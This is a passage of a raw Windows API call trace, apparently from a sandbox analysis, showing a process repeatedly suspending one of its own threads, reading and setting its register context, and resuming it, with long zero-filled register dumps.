[135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0091.467] ResumeThread (hThread=0x130) returned 0x1
[0091.467] CloseHandle (hObject=0x130) returned 1
[0091.467] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0091.550] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0091.550] SuspendThread (hThread=0x130) returned 0x0
[0091.551] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001476d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12ee220, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0091.621] ResumeThread (hThread=0x130) returned 0x1
[0091.622] CloseHandle (hObject=0x130) returned 1
[0091.622] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0091.680] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0091.778] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0091.931] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.024] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0092.024] SuspendThread (hThread=0x130) returned 0x0
[0092.024] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147960, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13b53e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0092.092] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147958, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0092.160] ResumeThread (hThread=0x130) returned 0x1
[0092.160] CloseHandle (hObject=0x130) returned 1
[0092.160] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.195] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.229] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.313] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.396] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0092.396] SuspendThread (hThread=0x130) returned 0x0
[0092.396] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001477f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x131bbc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0092.463] ResumeThread (hThread=0x130) returned 0x1
[0092.464] CloseHandle (hObject=0x130) returned 1
[0092.464] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.499] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.533] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.612] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0092.688] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0092.688] SuspendThread (hThread=0x130) returned 0x0
[0092.688] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a80, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a4680, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, 